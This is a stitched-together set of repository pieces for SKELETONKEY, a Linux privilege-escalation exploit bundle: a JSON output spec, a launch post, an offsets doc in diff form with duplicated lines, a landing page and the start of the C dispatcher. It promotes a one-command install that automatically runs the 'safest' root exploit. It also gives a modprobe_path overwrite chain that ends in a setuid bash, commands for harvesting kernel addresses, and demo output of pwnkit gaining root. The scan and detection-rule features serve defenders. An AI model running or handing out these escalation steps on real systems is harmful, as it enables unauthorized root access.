stdout while operators still see diagnostics on stderr.
This document is the contract for that JSON. SKELETONKEY treats it
as a stability commitment: new fields may appear in future releases,
but existing field names and value types do not change without a
major-version bump.
## Top-level object
```json
{
"version": "0.6.0",
"modules": [ /* ... per-module entries ... */ ]
}
```
| Field | Type | Stability | Meaning |
|------------|----------|------------|---------|
| `version` | string | stable | The SKELETONKEY release that produced this document. Semver-ish (`MAJOR.MINOR.PATCH`). Consumers may use it to correlate with the corpus inventory in [`CVES.md`](../CVES.md). |
| `modules` | array | stable | One entry per registered module, emitted in the order the dispatcher's `--list` reports them. Length grows monotonically as new modules land. |
## Per-module entry
```json
{
"name": "dirty_pipe",
"cve": "CVE-2022-0847",
"result": "OK"
}
```
| Field | Type | Stability | Meaning |
|----------|--------|-----------|---------|
| `name` | string | stable | The module's CLI identifier — what you pass to `--exploit <name>`. Lowercase, ASCII, `_`-delimited. Never changes for a given module across releases. |
| `cve` | string | stable | The CVE identifier (`CVE-YYYY-NNNNN`), or `"VARIANT"` for sibling variants without their own CVE (e.g. `copy_fail_gcm`), or `"-"` for primitives like `entrybleed` that have a CVE-less role. |
| `result` | string | stable | One of the `result` enum values below. |
## `result` enum
| Value | Exit code | Meaning |
|----------------|-----------|---------|
| `OK` | 0 | Module's `detect()` ran successfully. Host is **patched** for this CVE, or the bug class is not applicable here (predates the introduction, wrong arch, etc.). Safe to ignore for this host. |
| `TEST_ERROR` | 1 | `detect()` could not decide — the host fingerprint is missing data, the version parser failed, or an internal probe errored. Treat as "no information; check manually." |
| `VULNERABLE` | 2 | Host is **vulnerable** to this CVE per the module's detect logic (version-based and/or empirical active probe). `--exploit <name> --i-know` will attempt to land root. |
| `EXPLOIT_FAIL` | 3 | Only ever returned by `--exploit`, never by `--scan`. Exploit was attempted but did not land root. Diagnostic context goes to stderr. |
| `PRECOND_FAIL` | 4 | A documented precondition is not met on this host — examples: unprivileged user namespaces disabled, AppArmor restriction on, sudo not installed, AF_RXRPC unavailable. The bug may exist on the kernel but the carrier path here is closed. |
| `EXPLOIT_OK` | 5 | Only ever returned by `--exploit` / `--auto`. Root was achieved; for `--auto` mode this is the process exit code that drove the dispatcher into a root shell. |
## Process exit code semantics for `--scan`
The process exit code is the **worst (highest) result code** observed
across all modules. This lets a SIEM treat the binary's exit code as
a single-host alert level without re-parsing JSON:
| Exit code | Interpretation |
|-----------|-----------------------------------------------------|
| 0 | All modules `OK`. Host is patched for the corpus. |
| 1 | At least one module returned `TEST_ERROR`. Investigate. |
| 2 | At least one module returned `VULNERABLE`. Patch the host. |
| 4 | At least one module returned `PRECOND_FAIL` (and none worse). Host has reduced attack surface but is not necessarily safe. |
(Process exit codes 3 and 5 are exclusive to the `--exploit` /
`--auto` modes and never appear in `--scan` output.)
## Example: invoking + parsing
```bash
# capture pure JSON
skeletonkey --scan --json --no-color > host-$(hostname).json 2> /dev/null
# any vulnerable modules?
jq -e '.modules[] | select(.result == "VULNERABLE") | .name' host-*.json
# fleet roll-up — modules vulnerable across the fleet, by frequency
jq -s 'map(.modules[] | select(.result == "VULNERABLE") | .name)
| flatten | group_by(.) | map({mod: .[0], count: length})
| sort_by(-.count)' host-*.json
```
`jq -e` exits non-zero when its selector matches nothing, giving the
fleet runner a per-host "any-vulnerable" boolean without parsing the
document.
## Stability promises
**Stable across non-major releases:**
- Field names listed in the tables above (`version`, `modules`, `name`,
`cve`, `result`).
- The `result` enum string set. New result strings cannot appear
without a major version bump.
- The `modules` array containing exactly one entry per registered
module.
- Exit-code semantics for `--scan`.
**May change without notice:**
- The `modules` array length, ordering, and contents (new modules are
added regularly; ordering follows registration order which is
stable per release but not a contract).
- Whitespace / formatting of the JSON itself (consumers MUST parse,
not regex).
- Field values for `cve` (a stub variant could gain a real CVE later).
**May be added in future minor versions:**
- New per-module fields (e.g. `family`, `summary`, `safety_rank`,
`kernel_range`). Consumers MUST ignore unknown fields.
- New top-level fields (e.g. `host_fingerprint`, `scan_started_at`,
`schema_version`). Consumers MUST ignore unknown fields.
- A `--scan --active --json` output may grow per-probe verdict
metadata under a new `probe` sub-object.
## Recommended consumer pattern
```python
import json, subprocess, sys
doc = json.loads(subprocess.check_output(
["skeletonkey", "--scan", "--json", "--no-color"],
stderr=subprocess.DEVNULL,
))
assert doc["version"], "missing top-level version"
for mod in doc["modules"]:
assert mod["name"] and mod["cve"] and mod["result"], \
f"malformed module entry: {mod!r}"
if mod["result"] == "VULNERABLE":
print(f"{mod['name']} ({mod['cve']}): VULNERABLE", file=sys.stderr)
```
Ignore unknown fields. Match `result` against the enum, but treat
unknown strings as `TEST_ERROR`-equivalent (forward-compat).
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# SKELETONKEY — launch post
> Copy-pasteable for HN, lobste.rs, mastodon, blog. ~600 words.
---
## SKELETONKEY: a curated Linux LPE corpus with detection rules baked in
The Linux privilege-escalation space is fragmented. Single-CVE PoC
repos go stale within months. `linux-exploit-suggester` tells you
what *might* work but doesn't run anything. `auto-root-exploit` and
`kernelpop` bundle exploits but ship no detection signatures and
haven't been maintained in years.
**SKELETONKEY** is one curated binary that:
1. Fingerprints the host's kernel / distro / sudo / userland.
2. Reports which of 28 bundled CVEs that host is still vulnerable
to — covering 2016 through 2026.
3. With explicit `--i-know` authorization, runs the safest one and
gets you root.
4. Ships matching **auditd + sigma rules** for every CVE so blue
teams get the same coverage when they deploy it.
### One command
```bash
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
&& skeletonkey --auto --i-know
```
`--auto` ranks vulnerable modules by **exploit safety**
structural escapes (no kernel state touched) first, then page-cache
writes, then userspace cred-races, then kernel primitives, then
kernel races last — and runs the safest match. If it fails it falls
back gracefully and tells you the next candidates to try manually.
### What's in the corpus
- **Userspace LPE**: pwnkit (CVE-2021-4034), sudo Baron Samedit
(CVE-2021-3156), sudoedit EDITOR escape (CVE-2023-22809)
- **Page-cache writes**: dirty_pipe (CVE-2022-0847), dirty_cow
(CVE-2016-5195), copy_fail family (CVE-2026-31431, 43284, 43500)
- **Container/namespace**: cgroup_release_agent (CVE-2022-0492),
overlayfs (CVE-2021-3493), overlayfs_setuid (CVE-2023-0386),
fuse_legacy (CVE-2022-0185)
- **Kernel primitives**: netfilter (4 CVEs from 2022→2024),
af_packet (CVE-2017-7308, CVE-2020-14386), cls_route4
(CVE-2022-2588), netfilter_xtcompat (CVE-2021-22555)
- **Kernel races**: stackrot (CVE-2023-3269), af_unix_gc
(CVE-2023-4622), Sequoia (CVE-2021-33909)
- **Side channels**: EntryBleed kbase leak (CVE-2023-0458)
- **Graphics**: vmwgfx DRM OOB (CVE-2023-2008)
- **Userspace classic**: PTRACE_TRACEME (CVE-2019-13272)
Full inventory at
[CVES.md](https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md).
### The verified-vs-claimed bar
Most public PoC repos hardcode offsets for one kernel build and
silently break elsewhere. SKELETONKEY refuses to ship fabricated
offsets. Modules with a kernel primitive but no per-kernel
cred-overwrite chain default to firing the primitive + grooming the
slab + recording an empirical witness, then return
`EXPLOIT_FAIL` honestly. The opt-in `--full-chain` engages the
shared `modprobe_path` finisher with sentinel-arbitrated success
(it only claims root when a setuid bash actually materializes).
When `--full-chain` needs kernel offsets, you populate them once on
a target kernel via `skeletonkey --dump-offsets` (parses
`/proc/kallsyms` or `/boot/System.map`) and either set env vars or
upstream the entry to `core/offsets.c kernel_table[]` via PR.
### For each side of the house
- **Red team**: stop curating broken PoCs. One tested binary, fresh
releases, honest scope reporting.
- **Sysadmins**: one command, no SaaS, JSON output for CI gates.
Fleet-scan tool included.
- **Blue team**: `skeletonkey --detect-rules --format=auditd | sudo
tee /etc/audit/rules.d/99-skeletonkey.rules` and you have coverage
for every CVE in the bundle. Sigma + YARA + Falco output also
supported.
### Status + roadmap
v0.5.0 today: 28 modules, all build clean on Debian 13 / kernel
6.12, all refuse-on-patched verified. The embedded offset table is
empty — operator-populated. Next: empirical validation on a
multi-distro vuln-kernel VM matrix, then offset-table community
seeding for common cloud builds.
MIT. Each module credits the original CVE reporter and PoC author
in its `NOTICE.md`. The research credit belongs to the people who
found the bugs; SKELETONKEY is the bundling layer.
**Repo:** https://github.com/KaraZajac/SKELETONKEY
**Release:** https://github.com/KaraZajac/SKELETONKEY/releases/latest
Authorized testing only. Read [docs/ETHICS.md](ETHICS.md) before you
point this at anything you don't own.
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# IAMROOT — kernel offset resolution
# SKELETONKEY — kernel offset resolution
The 7 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
write, slab UAF, etc.). The default `--exploit` returns
`IAMROOT_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed
`SKELETONKEY_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed
bar means we don't claim root unless we empirically have it.
`--full-chain` engages the shared finisher (`core/finisher.{c,h}`) which
converts the primitive to a real root pop via `modprobe_path` overwrite:
```
attacker → arb_write(modprobe_path, "/tmp/iamroot-mp-<pid>.sh")
→ execve("/tmp/iamroot-trig-<pid>") # unknown-format binary
attacker → arb_write(modprobe_path, "/tmp/skeletonkey-mp-<pid>.sh")
→ execve("/tmp/skeletonkey-trig-<pid>") # unknown-format binary
→ kernel call_modprobe() # spawns modprobe_path as init
→ /tmp/iamroot-mp-<pid>.sh runs as root
→ cp /bin/bash /tmp/iamroot-pwn-<pid>; chmod 4755 /tmp/iamroot-pwn-<pid>
→ caller exec /tmp/iamroot-pwn-<pid> -p
→ /tmp/skeletonkey-mp-<pid>.sh runs as root
→ cp /bin/bash /tmp/skeletonkey-pwn-<pid>; chmod 4755 /tmp/skeletonkey-pwn-<pid>
→ caller exec /tmp/skeletonkey-pwn-<pid> -p
→ root shell
```
@@ -27,14 +27,14 @@ address) at runtime.
non-zero value for each field:
1. **Environment variables** — operator override.
- `IAMROOT_KBASE=0x...`
- `IAMROOT_MODPROBE_PATH=0x...`
- `IAMROOT_POWEROFF_CMD=0x...`
- `IAMROOT_INIT_TASK=0x...`
- `IAMROOT_INIT_CRED=0x...`
- `IAMROOT_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`)
- `IAMROOT_CRED_OFFSET_EFF=0x...`
- `IAMROOT_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4)
- `SKELETONKEY_KBASE=0x...`
- `SKELETONKEY_MODPROBE_PATH=0x...`
- `SKELETONKEY_POWEROFF_CMD=0x...`
- `SKELETONKEY_INIT_TASK=0x...`
- `SKELETONKEY_INIT_CRED=0x...`
- `SKELETONKEY_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`)
- `SKELETONKEY_CRED_OFFSET_EFF=0x...`
- `SKELETONKEY_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4)
2. **`/proc/kallsyms`** — only useful when `kernel.kptr_restrict=0`
OR you're already root. On modern distros (kptr_restrict=1 by
@@ -60,22 +60,49 @@ non-zero value for each field:
sudo grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms
# Use the addresses inline:
IAMROOT_MODPROBE_PATH=0xffffffff8228e7e0 \
iamroot --exploit nf_tables --i-know --full-chain
SKELETONKEY_MODPROBE_PATH=0xffffffff8228e7e0 \
skeletonkey --exploit nf_tables --i-know --full-chain
```
### Automated dump (preferred for upstreaming)
`skeletonkey --dump-offsets` walks the four-source chain itself and emits
a ready-to-paste C struct entry on stdout:
```bash
sudo skeletonkey --dump-offsets
# /* Generated 2026-05-16 by `skeletonkey --dump-offsets`.
# * Host kernel: 5.15.0-56-generic distro=ubuntu
# * Resolved fields: modprobe_path=kallsyms init_task=kallsyms cred=table
# * Paste this entry into kernel_table[] in core/offsets.c.
# */
# { .release_glob = "5.15.0-56-generic",
# .distro_match = "ubuntu",
# .rel_modprobe_path = 0x148e480,
# .rel_poweroff_cmd = 0x148e3a0,
# .rel_init_task = 0x1c11dc0,
# .rel_init_cred = 0x1e0c460,
# .cred_offset_real = 0x738,
# .cred_offset_eff = 0x740,
# },
```
Paste the block into `kernel_table[]` in `core/offsets.c`, rebuild,
and the new entry covers every SKELETONKEY user on that kernel. Open a
PR to upstream it.
### Per-host (write System.map readable)
```bash
sudo chmod 0644 /boot/System.map-$(uname -r)
iamroot --exploit nf_tables --i-know --full-chain
skeletonkey --exploit nf_tables --i-know --full-chain
```
### Per-boot (lower kptr_restrict)
```bash
sudo sysctl kernel.kptr_restrict=0
iamroot --exploit nf_tables --i-know --full-chain
skeletonkey --exploit nf_tables --i-know --full-chain
```
Note: each of these requires root *once*. For a true non-root LPE on
@@ -117,14 +144,14 @@ build + distro you tested against. Upstreamed entries make the
## Verifying success
The shared finisher (`iamroot_finisher_modprobe_path()`) drops a
sentinel file at `/tmp/iamroot-pwn-<pid>` after `modprobe` runs our
The shared finisher (`skeletonkey_finisher_modprobe_path()`) drops a
sentinel file at `/tmp/skeletonkey-pwn-<pid>` after `modprobe` runs our
payload. The finisher polls for this file with `S_ISUID` mode set
for up to 3 seconds. Only when the sentinel materializes does the
module return `IAMROOT_EXPLOIT_OK` and (unless `--no-shell`) exec
module return `SKELETONKEY_EXPLOIT_OK` and (unless `--no-shell`) exec
the setuid bash to drop a root shell.
If the sentinel never appears the module returns `IAMROOT_EXPLOIT_FAIL`
If the sentinel never appears the module returns `SKELETONKEY_EXPLOIT_FAIL`
with a diagnostic. Reasons it might fail even with offsets resolved:
- The arb-write didn't actually land (slab adjacency lost, value-pointer
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<h1>SKELETONKEY</h1>
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One curated binary. <strong>28 Linux LPE exploits</strong> from
2016 → 2026. Detection rules in the box.
<strong>One command picks the safest one and runs it.</strong>
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<pre id="install-cmd"><span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
&amp;&amp; skeletonkey --auto --i-know</pre>
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<p class="warn">⚠ Authorized testing only — see <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a></p>
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<a class="btn btn-primary" href="https://github.com/KaraZajac/SKELETONKEY/releases/latest">Latest release</a>
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY">View on GitHub</a>
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">Full CVE inventory</a>
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<h2>Why this exists</h2>
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Most Linux privesc tooling is broken in one of three ways:
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<li><strong>linux-exploit-suggester / linpeas</strong> — tell you what <em>might</em> work, run nothing</li>
<li><strong>auto-root-exploit / kernelpop</strong> — bundle exploits but ship no detection signatures and went stale years ago</li>
<li><strong>Per-CVE PoC repos</strong> — one author, one distro, abandoned within months</li>
</ul>
<p class="lead" style="margin-top:1rem">
SKELETONKEY is one binary, actively maintained, with detection
rules for every CVE it bundles — same project for red and blue
teams.
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<h2>Corpus at a glance</h2>
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<span class="stat-num">28</span>
<span class="stat-label">verified modules</span>
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<span class="stat-num green">14</span>
<span class="stat-label">🟢 land root by default</span>
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<span class="stat-num yellow">14</span>
<span class="stat-label">🟡 primitive + opt-in chain</span>
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<span class="stat-num">10y</span>
<span class="stat-label">2016 → 2026 coverage</span>
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<h3 style="color: var(--green);">🟢 Lands root on a vulnerable host</h3>
<p style="color: var(--text-muted); font-size:0.92rem; margin:0.25rem 0 0.25rem;">Structural exploits + page-cache writes. No per-kernel offsets needed.</p>
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<span class="pill green">copy_fail</span>
<span class="pill green">copy_fail_gcm</span>
<span class="pill green">dirty_frag_esp</span>
<span class="pill green">dirty_frag_esp6</span>
<span class="pill green">dirty_frag_rxrpc</span>
<span class="pill green">dirty_pipe</span>
<span class="pill green">dirty_cow</span>
<span class="pill green">pwnkit</span>
<span class="pill green">overlayfs</span>
<span class="pill green">overlayfs_setuid</span>
<span class="pill green">cgroup_release_agent</span>
<span class="pill green">ptrace_traceme</span>
<span class="pill green">sudoedit_editor</span>
<span class="pill green">entrybleed</span>
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<h3 style="color: var(--yellow);">🟡 Fires kernel primitive · opt-in <code>--full-chain</code></h3>
<p style="color: var(--text-muted); font-size:0.92rem; margin:0.25rem 0 0.25rem;">Default returns <code>EXPLOIT_FAIL</code> honestly. With <code>--full-chain</code> + resolved offsets, runs the shared modprobe_path finisher.</p>
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<span class="pill yellow">nf_tables</span>
<span class="pill yellow">nft_set_uaf</span>
<span class="pill yellow">nft_fwd_dup</span>
<span class="pill yellow">nft_payload</span>
<span class="pill yellow">netfilter_xtcompat</span>
<span class="pill yellow">af_packet</span>
<span class="pill yellow">af_packet2</span>
<span class="pill yellow">af_unix_gc</span>
<span class="pill yellow">cls_route4</span>
<span class="pill yellow">fuse_legacy</span>
<span class="pill yellow">stackrot</span>
<span class="pill yellow">sudo_samedit</span>
<span class="pill yellow">sequoia</span>
<span class="pill yellow">vmwgfx</span>
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<h2>Who it's for</h2>
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<h3>🔴 Red team / pentesters</h3>
<p>One tested binary. <code>--auto</code> ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. No more curating stale PoC repos.</p>
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<h3>🔵 Blue team / SOC</h3>
<p>Auditd + sigma + yara + falco rules for every CVE. One command ships SIEM coverage: <code>--detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules</code>.</p>
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<h3>🛠 Sysadmins</h3>
<p><code>skeletonkey --scan</code> (no sudo needed) tells you which boxes still need patching. JSON output for CI gates. Fleet-scan tool included. No SaaS, no telemetry.</p>
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<h3>🎓 CTF / training</h3>
<p>Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. Detection rules let you practice both sides.</p>
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<h2>What it looks like</h2>
<p class="lead"><code>--auto</code> on a vulnerable Ubuntu 22.04 box:</p>
<pre class="code"><span class="prompt">$</span> id
uid=1000(kara) gid=1000(kara) groups=1000(kara)
<span class="prompt">$</span> skeletonkey --auto --i-know
<span class="hl-muted">[*]</span> auto: host=demo kernel=5.15.0-56-generic arch=x86_64
<span class="hl-muted">[*]</span> auto: scanning 31 modules for vulnerabilities...
<span class="hl-green">[+]</span> auto: dirty_pipe <span class="hl-yellow">VULNERABLE</span> (safety rank 90)
<span class="hl-green">[+]</span> auto: cgroup_release_agent <span class="hl-yellow">VULNERABLE</span> (safety rank 98)
<span class="hl-green">[+]</span> auto: pwnkit <span class="hl-yellow">VULNERABLE</span> (safety rank 100)
<span class="hl-muted">[*]</span> auto: 3 vulnerable modules found. Safest is <span class="hl-accent">'pwnkit'</span> (rank 100).
<span class="hl-muted">[*]</span> auto: launching --exploit pwnkit...
<span class="hl-green">[+]</span> pwnkit: writing gconv-modules cache + payload.so...
<span class="hl-green">[+]</span> pwnkit: execve(pkexec) with NULL argv + crafted envp...
<span class="hl-green">#</span> id
uid=0(root) gid=0(root) groups=0(root)</pre>
<p style="color: var(--text-muted); font-size: 0.92rem; margin-top: 1rem">
Safety ranking goes <strong>structural escapes</strong>
<strong>page-cache writes</strong>
<strong>userspace cred-races</strong>
<strong>kernel primitives</strong>
<strong>kernel races</strong>. The goal is to never crash a
production box looking for root.
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<h2>The verified-vs-claimed bar</h2>
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Most public PoC repos hardcode offsets for one kernel build and
silently break elsewhere. SKELETONKEY refuses to ship fabricated
offsets.
</p>
<ul class="tight">
<li>The shared <code>--full-chain</code> finisher returns <code>EXPLOIT_OK</code> only when a setuid bash sentinel file <em>actually appears</em></li>
<li>Modules with a primitive but no portable cred-overwrite chain default to firing the primitive + grooming the slab + recording a witness, then return <code>EXPLOIT_FAIL</code> with diagnostic</li>
<li>Operators populate the offset table once per kernel via <code>skeletonkey --dump-offsets</code> (parses <code>/proc/kallsyms</code> or <code>/boot/System.map</code>) and upstream the entry via PR — see <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">CONTRIBUTING.md</a></li>
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<h2>Quickstart commands</h2>
<pre class="code"><span class="cmt"># Install (x86_64 / arm64; checksum-verified)</span>
<span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
<span class="cmt"># What's this box vulnerable to? (no sudo)</span>
<span class="prompt">$</span> skeletonkey --scan
<span class="cmt"># Pick the safest LPE and run it</span>
<span class="prompt">$</span> skeletonkey --auto --i-know
<span class="cmt"># Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)</span>
<span class="prompt">$</span> skeletonkey --detect-rules --format=auditd \
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
<span class="cmt"># Fleet scan — many hosts via SSH, aggregated JSON for SIEM</span>
<span class="prompt">$</span> ./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
--ssh-key ~/.ssh/id_rsa hosts.txt</pre>
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<h2>Status</h2>
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<strong>v0.5.0</strong> cut 2026-05-17. 28 verified modules build
clean on Debian 13 (kernel 6.12) and refuse cleanly on patched
hosts; 3 further modules (dirtydecrypt, fragnesia, pack2theroot)
are ported from public PoCs but not yet VM-verified.
Empirical end-to-end validation on a vulnerable-kernel VM matrix
is the next roadmap item; until then, the corpus is best
understood as "compiles + detects + structurally correct +
honest on failure."
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<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">Read the roadmap</a>
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">How to contribute</a>
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Each module credits the original CVE reporter and PoC author in its
<code>NOTICE.md</code>. The research credit belongs to the people
who found the bugs.
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* IAMROOT — top-level dispatcher
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* Usage:
* iamroot --scan # run every module's detect()
* iamroot --scan --json # machine-readable output
* iamroot --scan --active # invasive probes (still no /etc/passwd writes)
* iamroot --list # list registered modules
* iamroot --exploit <name> --i-know # run a named module's exploit
* iamroot --mitigate <name> # apply a temporary mitigation
* iamroot --cleanup <name> # undo --exploit or --mitigate side effects
*
* Phase 1 scope: thin dispatcher over the copy_fail_family bridge.
* Future phases add: --detect-rules export, multi-family registry,
* fingerprint pre-pass, etc.
*/
#include "core/module.h"
#include "core/registry.h"
#include <getopt.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define IAMROOT_VERSION "0.3.0"
static const char BANNER[] =
"\n"
" ██╗ █████╗ ███╗ ███╗██████╗ ██████╗ ██████╗ ████████╗\n"
" ██║██╔══██╗████╗ ████║██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝\n"
" ██║███████║██╔████╔██║██████╔╝██║ ██║██║ ██║ ██║ \n"
" ██║██╔══██║██║╚██╔╝██║██╔══██╗██║ ██║██║ ██║ ██║ \n"
" ██║██║ ██║██║ ╚═╝ ██║██║ ██║╚██████╔╝╚██████╔╝ ██║ \n"
" ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ \n"
" Curated Linux kernel LPE corpus — v" IAMROOT_VERSION "\n"
" AUTHORIZED TESTING ONLY — see docs/ETHICS.md\n";
static void usage(const char *prog)
{
fprintf(stderr,
"Usage: %s [MODE] [OPTIONS]\n"
"\n"
"Modes (default: --scan):\n"
" --scan run every module's detect() across the host\n"
" --list list registered modules and exit\n"
" --exploit <name> run named module's exploit (REQUIRES --i-know)\n"
" --mitigate <name> apply named module's mitigation\n"
" --cleanup <name> undo named module's exploit/mitigate side effects\n"
" --detect-rules dump detection rules for every module\n"
" (combine with --format=auditd|sigma|yara|falco)\n"
" --module-info <name> full metadata + rule bodies for one module\n"
" (combine with --json for machine-readable output)\n"
" --audit system-hygiene scan: setuid binaries, world-writable\n"
" files in /etc, file capabilities, sudo NOPASSWD\n"
" (complements --scan; answers 'is this box\n"
" generally privesc-exposed?')\n"
" --version print version\n"
" --help this message\n"
"\n"
"Options:\n"
" --i-know authorization gate for --exploit modes\n"
" --active in --scan, do invasive sentinel probes (no /etc/passwd writes)\n"
" --no-shell in --exploit modes, prepare but don't drop to shell\n"
" --full-chain in --exploit modes, attempt full root-pop after primitive\n"
" (the 🟡 modules return primitive-only by default; with\n"
" --full-chain they continue to leak → arb-write →\n"
" modprobe_path overwrite. Requires resolvable kernel\n"
" offsets — env vars, /proc/kallsyms, or /boot/System.map.\n"
" See docs/OFFSETS.md.)\n"
" --json machine-readable output (for SIEM/CI)\n"
" --no-color disable ANSI color codes\n"
" --format <f> with --detect-rules: auditd (default), sigma, yara, falco\n"
"\n"
"Exit codes:\n"
" 0 not vulnerable / OK 2 vulnerable 5 exploit succeeded\n"
" 1 test error 3 exploit failed 4 preconditions missing\n",
prog);
}
enum mode {
MODE_SCAN,
MODE_LIST,
MODE_EXPLOIT,
MODE_MITIGATE,
MODE_CLEANUP,
MODE_DETECT_RULES,
MODE_MODULE_INFO,
MODE_AUDIT,
MODE_HELP,
MODE_VERSION,
};
enum detect_format {
FMT_AUDITD,
FMT_SIGMA,
FMT_YARA,
FMT_FALCO,
};
static const char *result_str(iamroot_result_t r)
{
switch (r) {
case IAMROOT_OK: return "OK";
case IAMROOT_TEST_ERROR: return "ERROR";
case IAMROOT_VULNERABLE: return "VULNERABLE";
case IAMROOT_EXPLOIT_FAIL: return "EXPLOIT_FAIL";
case IAMROOT_PRECOND_FAIL: return "PRECOND_FAIL";
case IAMROOT_EXPLOIT_OK: return "EXPLOIT_OK";
}
return "?";
}
/* JSON-escape a string for inclusion in stdout output. Quick + safe:
* escapes \" and \\ and newlines; passes through ASCII printable.
* Caller must call json_escape_done() to free the result. */
static char *json_escape(const char *s)
{
if (s == NULL) return NULL;
size_t n = strlen(s);
char *out = malloc(n * 2 + 1); /* worst case: every char doubles */
if (!out) return NULL;
char *p = out;
for (size_t i = 0; i < n; i++) {
unsigned char c = (unsigned char)s[i];
if (c == '"' || c == '\\') { *p++ = '\\'; *p++ = c; }
else if (c == '\n') { *p++ = '\\'; *p++ = 'n'; }
else if (c == '\r') { *p++ = '\\'; *p++ = 'r'; }
else if (c == '\t') { *p++ = '\\'; *p++ = 't'; }
else if (c < 0x20) { /* skip — should be rare in our strings */ }
else *p++ = c;
}
*p = 0;
return out;
}
static void emit_module_json(const struct iamroot_module *m, bool include_rules)
{
char *name = json_escape(m->name);
char *cve = json_escape(m->cve);
char *summary = json_escape(m->summary);
char *family = json_escape(m->family);
char *krange = json_escape(m->kernel_range);
fprintf(stdout,
"{\"name\":\"%s\",\"cve\":\"%s\",\"family\":\"%s\","
"\"kernel_range\":\"%s\",\"summary\":\"%s\","
"\"has\":{\"detect\":%s,\"exploit\":%s,\"mitigate\":%s,\"cleanup\":%s,"
"\"auditd\":%s,\"sigma\":%s,\"yara\":%s,\"falco\":%s}",
name ? name : "",
cve ? cve : "",
family ? family : "",
krange ? krange : "",
summary ? summary : "",
m->detect ? "true" : "false",
m->exploit ? "true" : "false",
m->mitigate ? "true" : "false",
m->cleanup ? "true" : "false",
m->detect_auditd ? "true" : "false",
m->detect_sigma ? "true" : "false",
m->detect_yara ? "true" : "false",
m->detect_falco ? "true" : "false");
if (include_rules) {
/* Embed the actual rule text. Useful for --module-info. */
char *aud = json_escape(m->detect_auditd);
char *sig = json_escape(m->detect_sigma);
char *yar = json_escape(m->detect_yara);
char *fal = json_escape(m->detect_falco);
fprintf(stdout,
",\"detect_rules\":{\"auditd\":%s%s%s,\"sigma\":%s%s%s,"
"\"yara\":%s%s%s,\"falco\":%s%s%s}",
aud ? "\"" : "", aud ? aud : "null", aud ? "\"" : "",
sig ? "\"" : "", sig ? sig : "null", sig ? "\"" : "",
yar ? "\"" : "", yar ? yar : "null", yar ? "\"" : "",
fal ? "\"" : "", fal ? fal : "null", fal ? "\"" : "");
free(aud); free(sig); free(yar); free(fal);
}
fprintf(stdout, "}");
free(name); free(cve); free(summary); free(family); free(krange);
}
static int cmd_list(const struct iamroot_ctx *ctx)
{
size_t n = iamroot_module_count();
if (ctx->json) {
fprintf(stdout, "{\"version\":\"%s\",\"modules\":[", IAMROOT_VERSION);
for (size_t i = 0; i < n; i++) {
if (i) fputc(',', stdout);
emit_module_json(iamroot_module_at(i), false);
}
fprintf(stdout, "]}\n");
return 0;
}
fprintf(stdout, "%-20s %-18s %-25s %s\n",
"NAME", "CVE", "FAMILY", "SUMMARY");
fprintf(stdout, "%-20s %-18s %-25s %s\n",
"----", "---", "------", "-------");
for (size_t i = 0; i < n; i++) {
const struct iamroot_module *m = iamroot_module_at(i);
fprintf(stdout, "%-20s %-18s %-25s %s\n",
m->name, m->cve, m->family, m->summary);
}
return 0;
}
/* --audit: system-hygiene scan beyond per-CVE detect. Inventories
* setuid binaries, world-writable system files, capability-bound
* non-standard binaries, NOPASSWD sudo entries. Complements --scan;
* answers "is this box generally exposed to privesc?" beyond
* "does it have any of the known kernel CVEs?".
*
* Output is structured findings. --json switches to a single JSON
* object with arrays per category. Side-effect-free: read-only
* filesystem walks. */
struct finding {
const char *category; /* "setuid", "world_writable", "capability", "sudo" */
char path[512];
char note[256];
};
static void print_finding_human(const struct finding *f)
{
fprintf(stdout, "[%-15s] %-50s %s\n",
f->category, f->path, f->note);
}
/* Walk one filesystem path looking for setuid-root binaries. Bounded
* via find(1) for portability (every distro ships find). */
static int audit_setuid(int *count_out, bool json,
bool *first_json_emitted)
{
/* Use popen() on `find` rather than recursive opendir() — much
* simpler, every distro ships find. Limit to common
* binary-bearing dirs to keep runtime reasonable. */
static const char *cmd =
"find /usr/bin /usr/sbin /bin /sbin /usr/local/bin /usr/local/sbin "
"-xdev -perm -4000 -type f 2>/dev/null";
FILE *p = popen(cmd, "r");
if (!p) return -1;
char line[1024];
int n = 0;
/* Set of suspicious binaries — these are notable in the LPE world.
* The full setuid inventory is informational; this list flags
* specific items as "review this". */
static const struct { const char *path; const char *note; } SUSP[] = {
{"/usr/bin/pkexec", "Pwnkit CVE-2021-4034 history; tightly audit polkit policy"},
{"/usr/bin/mount.cifs", "historically setuid-root; check distro hardening"},
{"/usr/bin/fusermount3", "historically setuid; userns-related LPE history"},
{"/usr/bin/passwd", "expected setuid; verify integrity"},
